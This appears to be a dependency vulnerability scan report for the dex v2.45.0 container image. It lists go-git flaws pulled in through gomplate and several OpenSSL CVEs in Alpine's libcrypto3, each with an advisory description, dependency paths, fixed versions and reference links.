- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-git/go-git/v5/storage/filesystem
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/storage/filesystem@v5.16.4

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/storage/filesystem@v5.16.4

## Overview

Affected versions of this package are vulnerable to Improper Validation of Integrity Check Value for `.idx` and `.pack` files. An attacker can cause the application to consume corrupted files, leading to unexpected errors, due to checksums not being checked in the `loadIdxFile()` function.

## Workaround

This vulnerability can be mitigated by running 'git fsck' from the git CLI to check for data corruption on a given repository.

## Remediation

Upgrade `github.com/go-git/go-git/v5/storage/filesystem` to version 5.16.5 or higher.

## References

- GitHub Commit
- GitHub Release

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-git/go-git/v5/plumbing/format/packfile
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/plumbing/format/packfile@v5.16.4

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/plumbing/format/packfile@v5.16.4

## Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the parsing of maliciously crafted Git repository data, such as `.pack`, `.idx`, or loose objects. An attacker can cause the application to panic by providing a payload that exceeds the declared size of a slice for `isCopyFromDelta()`, or consume excessive resources by sending an unlimited stream of calls to `isCopyFromDelta()` or a stream of calls with excessively large `targetSz` values (i.e. amplification).

Note: This is only exploitable if the attacker can alter read-only files in the local repository's `.git/objects/pack/` directory or if the user interacts with a malicious remote server.

## Remediation

Upgrade `github.com/go-git/go-git/v5/plumbing/format/packfile` to version 5.19.1 or higher.

## References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub Commit

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-git/go-git/v5/plumbing/format/index
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/plumbing/format/index@v5.16.4

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/plumbing/format/index@v5.16.4

## Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the handling of `.idx` files. An attacker with write access to the local repository's `.git` directory can exhaust system memory by introducing a maliciously crafted `.idx` file into the `.git` directory.

## Remediation

Upgrade `github.com/go-git/go-git/v5/plumbing/format/index` to version 5.17.1 or higher.

## References

- GitHub Advisory
- GitHub Commit
- GitHub Commit

More about this vulnerability

## Improper Validation of Array Index

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-git/go-git/v5/plumbing/format/index
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/plumbing/format/index@v5.16.4

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/plumbing/format/index@v5.16.4

## Overview

Affected versions of this package are vulnerable to Improper Validation of Array Index through improper validation in the index decoding for version 4 files. An attacker with write access to the `.git` directory to modify or inject the index file can cause a panic and terminate the process by supplying a maliciously crafted `.git/index` file that triggers an out-of-bounds slice operation during index parsing.

## Remediation

Upgrade `github.com/go-git/go-git/v5/plumbing/format/index` to version 5.17.1 or higher.

## References

- GitHub Advisory
- GitHub Commit

More about this vulnerability

## Allocation of Resources Without Limits or Throttling

medium severity
Exploit: Not Defined

- Manifest file: ghcr.io/dexidp/dex:v2.45.0/hairyhenderson/gomplate/v5 › /usr/local/bin/gomplate
- Package Manager: golang
- Vulnerable module: github.com/go-git/go-git/v5/plumbing/format/idxfile
- Introduced through: github.com/hairyhenderson/gomplate/v5@* and github.com/go-git/go-git/v5/plumbing/format/idxfile@v5.16.4

### Detailed paths

- Introduced through: github.com/hairyhenderson/gomplate/v5@* › github.com/go-git/go-git/v5/plumbing/format/idxfile@v5.16.4

## Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the parsing of maliciously crafted Git repository data, such as `.pack`, `.idx`, or loose objects. An attacker can cause the application to panic by providing a payload that exceeds the declared size of a slice for `isCopyFromDelta()`, or consume excessive resources by sending an unlimited stream of calls to `isCopyFromDelta()` or a stream of calls with excessively large `targetSz` values (i.e. amplification).

Note: This is only exploitable if the attacker can alter read-only files in the local repository's `.git/objects/pack/` directory or if the user interacts with a malicious remote server.

## Remediation

Upgrade `github.com/go-git/go-git/v5/plumbing/format/idxfile` to version 5.19.1 or higher.

## References

- GitHub Advisory
- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub Commit
- GitHub Commit

More about this vulnerability

## CVE-2026-2673

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: An OpenSSL TLS 1.3 server may fail to negotiate the expected preferred key exchange group when its key exchange group configuration includes the default by using the 'DEFAULT' keyword.

Impact summary: A less preferred key exchange may be used even when a more preferred group is supported by both client and server, if the group was not included among the client's initial predicated keyshares. This will sometimes be the case with the new hybrid post-quantum groups, if the client chooses to defer their use until specifically requested by the server.

If an OpenSSL TLS 1.3 server's configuration uses the 'DEFAULT' keyword to interpolate the built-in default group list into its own configuration, perhaps adding or removing specific elements, then an implementation defect causes the 'DEFAULT' list to lose its 'tuple' structure, and all server-supported groups were treated as a single sufficiently secure 'tuple', with the server not sending a Hello Retry Request (HRR) even when a group in a more preferred tuple was mutually supported.

As a result, the client and server might fail to negotiate a mutually supported post-quantum key agreement group, such as 'X25519MLKEM768', if the client's configuration results in only 'classical' groups (such as 'X25519' being the only ones in the client's initial keyshare prediction).

OpenSSL 3.5 and later support a new syntax for selecting the most preferred TLS 1.3 key agreement group on TLS servers. The old syntax had a single 'flat' list of groups, and treated all the supported groups as sufficiently secure. If any of the keyshares predicted by the client were supported by the server the most preferred among these was selected, even if other groups supported by the client, but not included in the list of predicted keyshares would have been more preferred, if included.

The new syntax partitions the groups into distinct 'tuples' of roughly equivalent security. Within each tuple the most preferred group included among the client's predicted keyshares is chosen, but if the client supports a group from a more preferred tuple, but did not predict any corresponding keyshares, the server will ask the client to retry the ClientHello (by issuing a Hello Retry Request or HRR) with the most preferred mutually supported group.

The above works as expected when the server's configuration uses the built-in default group list, or explicitly defines its own list by directly defining the various desired groups and group 'tuples'.

No OpenSSL FIPS modules are affected by this issue, the code in question lies outside the FIPS boundary.

OpenSSL 3.6 and 3.5 are vulnerable to this issue.

OpenSSL 3.6 users should upgrade to OpenSSL 3.6.2 once it is released. OpenSSL 3.5 users should upgrade to OpenSSL 3.5.6 once it is released.

OpenSSL 3.4, 3.3, 3.0, 1.0.2 and 1.1.1 are not affected by this issue.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/2157c9d81f7b0bd7dfa25b960e928ec28e8dd63f
- https://github.com/openssl/openssl/commit/85977e013f32ceb96aa034c0e741adddc1a05e34
- https://openssl-library.org/news/secadv/20260313.txt
- http://www.openwall.com/lists/oss-security/2026/03/13/3
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html

More about this vulnerability

## CVE-2026-31790

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: Applications using RSASVE key encapsulation to establish a secret encryption key can send contents of an uninitialized memory buffer to a malicious peer.

Impact summary: The uninitialized buffer might contain sensitive data from the previous execution of the application process which leads to sensitive data leakage to an attacker.

RSA_public_encrypt() returns the number of bytes written on success and -1 on error. The affected code tests only whether the return value is non-zero. As a result, if RSA encryption fails, encapsulation can still return success to the caller, set the output lengths, and leave the caller to use the contents of the ciphertext buffer as if a valid KEM ciphertext had been produced.

If applications use EVP_PKEY_encapsulate() with RSA/RSASVE on an attacker-supplied invalid RSA public key without first validating that key, then this may cause stale or uninitialized contents of the caller-provided ciphertext buffer to be disclosed to the attacker in place of the KEM ciphertext.

As a workaround calling EVP_PKEY_public_check() or EVP_PKEY_public_check_quick() before EVP_PKEY_encapsulate() will mitigate the issue.

The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.1 and 3.0 are affected by this issue.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.6-r0 or higher.

## References

- https://github.com/openssl/openssl/commit/001e01db3e996e13ffc72386fe79d03a6683b5ac
- https://github.com/openssl/openssl/commit/abd8b2eec7e3f3fda60ecfb68498b246b52af482
- https://github.com/openssl/openssl/commit/b922e24e5b23ffb9cb9e14cadff23d91e9f7e406
- https://github.com/openssl/openssl/commit/d5f8e71cd0a54e961d0c3b174348f8308486f790
- https://github.com/openssl/openssl/commit/eed200f58cd8645ed77e46b7e9f764e284df379e
- https://openssl-library.org/news/secadv/20260407.txt
- https://cert-portal.siemens.com/productcert/html/ssa-032379.html

More about this vulnerability

## CVE-2026-45446

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: The implementations of AES-SIV (RFC 5297) and AES-GCM-SIV (RFC 8452) mishandle the authentication of AAD (Additional Authenticated Data) with an empty ciphertext allowing a forgery of such messages.

Impact summary: An attacker can forge empty messages with arbitrary AAD to the victim's application using these ciphers.

AES-SIV (RFC 5297) and AES-GCM-SIV (RFC 8452) are nonce-misuse-resistant AEAD modes: they accept a key, nonce, optional AAD (bytes that are authenticated but not encrypted), and plaintext, and produces ciphertext plus a 16-byte tag. On decrypt, `EVP_DecryptFinal_ex()` is documented to return success only if the tag is verified succesfully.

In OpenSSL's provider implementation of these ciphers, the expected tag is computed only when decryption function is invoked with non-empty data. If the caller supplies AAD and then calls `EVP_DecryptFinal_ex()` without invocation of the ciphertext update, which can happen when the received ciphertext length is zero, the tag is never recalculated and still holds its all-zeros value.

When AES-GCM-SIV is used, an attacker who sends arbitrary AAD, empty ciphertext, and all-zeros tag passes authentication under any key they do not know, single-shot. When AES-SIV is used, for mounting the attack it's necessary for the application to reuse the decryption context without resetting the key.

AES-SIV is implemented since OpenSSL 3.0. AES-GCM-SIV is implemented since OpenSSL 3.2.

No protocols implemented in OpenSSL itself (TLS/CMS/PKCS7/HPKE/QUIC) support either AES-GCM-SIV or AES-SIV. To mount an attack, the applications must implement their own protocol and use the EVP interface. Also they must skip the ciphertext update when a message with an empty ciphertext arrives.

The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue, as these algorithms are not FIPS approved and the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/25b32cd9d41d2bc01b6abc425bb4baf2c2236fdc
- https://github.com/openssl/security/commit/71e2a5d263518cf5866043bd60ee4994d59e53a3
- https://github.com/openssl/security/commit/7fe3f33a3b3a4c487aa4dcdbc87057f66ffd2b85
- https://github.com/openssl/security/commit/daca0f48e4a69a2892a62262bad59e62a8a76598
- https://github.com/openssl/security/commit/eec5e9bf0d867333b8495e456f5235d225798a68
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/25b32cd9d41d2bc01b6abc425bb4baf2c2236fdc
- https://github.com/openssl/openssl/commit/71e2a5d263518cf5866043bd60ee4994d59e53a3
- https://github.com/openssl/openssl/commit/7fe3f33a3b3a4c487aa4dcdbc87057f66ffd2b85
- https://github.com/openssl/openssl/commit/daca0f48e4a69a2892a62262bad59e62a8a76598
- https://github.com/openssl/openssl/commit/eec5e9bf0d867333b8495e456f5235d225798a68

More about this vulnerability

## CVE-2026-42768

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: The CMS_decrypt and PKCS7_decrypt functions are vulnerable to Bleichenbacher-style attack when an attacker is able to provide the CMS or S/MIME messages and observe the error code and/or decryption output.

Impact summary: The Bleichenbacher-style attack allows an attacker to use the victim's vulnerable application as a way to decrypt or sign messages with the victim's private RSA key.

The attack is possible in 2 variants.

1. The decryption API (CMS_decrypt(), PKCS7_decrypt()) is used without providing the recipient certificate. In this case OpenSSL iterates over every KeyTransRecipientInfo (KTRI) without stopping at the first success.

An attacker who authors a message with two KTRI entries — the first one wrapping a real CEK under the victim's public key, the second with an arbitrary probe ciphertext — obtains opportunity to iterate the 2nd KTRI to get a valid PKCS#1 v1.5 padding if the error code of the application is available.

That is a Bleichenbacher oracle (Bleichenbacher, CRYPTO '98): an adaptive-chosen-ciphertext side channel from which the attacker decrypts any RSA ciphertext to the victim's key or forges any PKCS#1 v1.5 signature under it.

2. When the decryption API (CMS_decrypt(), PKCS7_decrypt()) is provided with the recipient certificate, and the recipient is not found, a random key is substituted.

An attacker who authors a message and is able to compare both error code and the result of the decryption, can mount a Bleichenbacher oracle.

We are not aware of any applications that provide a remote attacker an opportunity to mount an attack described in these scenarios. We consider the existence of such application very unlikely, and for this reason this CVE has been evaluated as Low severity.

To avoid these attacks, when RSA PKCS#1 v1.5 Key Transport is in use, the invoked EVP_PKEY_decrypt() will use the implicit rejection mechanism described in draft-irtf-cfrg-rsa-guidance. In previous OpenSSL releases the implicit rejection was explicitly disabled.

The implicit rejection mechanism always returns a plaintext value, the symmetric key. This result is deterministic for the ciphertext and the private key. The length of the decryption result can happen to match the length of the key of the symmetric cipher that was used for the content encryption. When a certificate is not provided, the last RecipientInfo producing a key that looks valid will be used. It may cause getting garbage content on decryption. As a proper way to deal with this a recipient certificate has to be provided to identify the particular RecipientInfo for decryption.

The FIPS modules in 4.0, 3.6, 3.5, and 3.4 are not affected by this issue, as CMS and S/MIME processing happens outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/a2ca7b2d73e0ffc1eae183fe6e1741dac767cb4f
- https://github.com/openssl/security/commit/bbb151a83041705d9d001ed2f9c12f5523e1b54d
- https://github.com/openssl/security/commit/dd68364107a58841c0a2546812518b65d3a23abd
- https://github.com/openssl/security/commit/f04b377be3d821741c86d1f4bf84dee09f3d5c3e
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/a2ca7b2d73e0ffc1eae183fe6e1741dac767cb4f
- https://github.com/openssl/openssl/commit/bbb151a83041705d9d001ed2f9c12f5523e1b54d
- https://github.com/openssl/openssl/commit/dd68364107a58841c0a2546812518b65d3a23abd
- https://github.com/openssl/openssl/commit/f04b377be3d821741c86d1f4bf84dee09f3d5c3e

More about this vulnerability

## CVE-2026-34183

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: Remote peer may exhaust heap memory of the QUIC server or client by flooding it with packets containing PATH_CHALLENGE frames.

Impact summary: A malicious remote peer can cause an unbounded memory allocation which can lead to an abnormal termination of the application acting as a QUIC client or server and a Denial of Service.

A remote peer may exhaust heap memory by flooding the local QUIC stack with PATH_CHALLENGE frames. The local QUIC stack allocates a PATH_RESPONSE frame for every PATH_CHALLENGE it receives. The allocated PATH_RESPONSE frame gets freed only when the remote peer acknowledges reception of the PATH_RESPONSE frame which will not be done by a malicious peer.

The FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this issue. The QUIC stack is outside of OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/5b306efb0b3779dfdd0803b4afc9d08c91f11517
- https://github.com/openssl/security/commit/7d06955ebe0ecf8adfd4c1e92018586da47ef9ac
- https://github.com/openssl/security/commit/d2e9efbe4900a373227deb136e8665401404ffac
- https://github.com/openssl/security/commit/fbaa83859c01ad64f497b757aaf51be7d05ed9eb
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/5b306efb0b3779dfdd0803b4afc9d08c91f11517
- https://github.com/openssl/openssl/commit/7d06955ebe0ecf8adfd4c1e92018586da47ef9ac
- https://github.com/openssl/openssl/commit/d2e9efbe4900a373227deb136e8665401404ffac
- https://github.com/openssl/openssl/commit/fbaa83859c01ad64f497b757aaf51be7d05ed9eb

More about this vulnerability

## CVE-2026-34181

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue Summary: The PKCS#12 file processing fails to perform sufficient input validation for files that use Password-Based Message Authentication Code 1 (PBMAC1) integrity mechanism allowing a certificate and private key forgery.

Impact Summary: An attacker impersonating a user can cause a service reading PKCS#12 files to accept forged certificates and private keys with a 1 in 256 probability.

If a service accepting PKCS#12 files is using passwords for authenticating the received files, the attacker can create unencrypted PKCS#12 files that use PBMAC1 authentication that specifies an HMAC key of only one byte, allowing them to craft a file that will be accepted with a 1 in 256 probability. That would then cause the service to accept a certificate and private key controlled by the attacker.

The FIPS modules are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/0300eb9ddce7a0895bf301a4b0c03a9da2313a0f
- https://github.com/openssl/security/commit/79eb76a937e474bb7610a0a3dc57131dc8dc6610
- https://github.com/openssl/security/commit/85dcbb3abaa4878af5c8fbbe11bce708fcf984a7
- https://github.com/openssl/security/commit/ec36f2417c4ddd8cabce4b4a60a3d7a7365f2d81
- https://openssl-library.org/news/secadv/20260609.txt
- https://github.com/openssl/openssl/commit/0300eb9ddce7a0895bf301a4b0c03a9da2313a0f
- https://github.com/openssl/openssl/commit/79eb76a937e474bb7610a0a3dc57131dc8dc6610
- https://github.com/openssl/openssl/commit/85dcbb3abaa4878af5c8fbbe11bce708fcf984a7
- https://github.com/openssl/openssl/commit/ec36f2417c4ddd8cabce4b4a60a3d7a7365f2d81

More about this vulnerability

## CVE-2026-34180

low severity
Exploit: Not Defined

- Package Manager: alpine:3.23
- Vulnerable module: openssl/libcrypto3
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 and openssl/libcrypto3@3.5.5-r0

### Detailed paths

- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0 › openssl/libcrypto3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › busybox/ssl_client@1.37.0-r30 › openssl/libssl3@3.5.5-r0
- Introduced through: docker-image|ghcr.io/dexidp/dex@v2.45.0 › apk-tools/apk-tools@3.0.3-r1 › apk-tools/libapk@3.0.3-r1 › openssl/libssl3@3.5.5-r0

## NVD Description

Note: Versions mentioned in the description apply only to the upstream `openssl` package and not the `openssl` package as distributed by `Alpine`. See `How to fix?` for `Alpine:3.23` relevant fixed versions and status.

Issue summary: Parsing a crafted DER-encoded ASN.1 structure with a primitive element whose content exceeds 2 gigabytes in length may cause a heap buffer over-read on 64-bit Unix and Unix-like platforms.

Impact summary: The heap buffer over-read may crash the application (Denial of Service) or to load into the decoded ASN.1 object contents of memory beyond the end of the input buffer. More typically such ASN.1 elements would instead be truncated.

An integer truncation in OpenSSL's ASN.1 decoder causes the content length of an ASN.1 primitive element to be mishandled when it exceeds 2 gigabytes. In the worst case the truncated length is treated as a request to scan the binary content for a terminating zero byte, possibly causing OpenSSL to read either less than or beyond the end of the allocated buffer.

Applications that pass attacker-supplied data to d2i_X509(), d2i_PKCS7(), or any other d2i_* decoding function are affected. OpenSSL's own command-line tools are not vulnerable, as data read through the BIO layer is checked before it reaches the affected code. The issue only affects 64-bit Unix and Unix-like platforms; 32-bit platforms and 64-bit Windows are not affected.

The FIPS modules in 4.0, 3.6, 3.5, 3.4 and 3.0 are not affected by this issue, as the affected code is outside the OpenSSL FIPS module boundary.

## Remediation

Upgrade `Alpine:3.23` `openssl` to version 3.5.7-r0 or higher.

## References

- https://github.com/openssl/security/commit/1c6908e4fa5fa568752221d8eaf561a809751e5d
- https://github.com/openssl/security/commit/cbe418ae978539cf14a398a207dba834c0e93e83
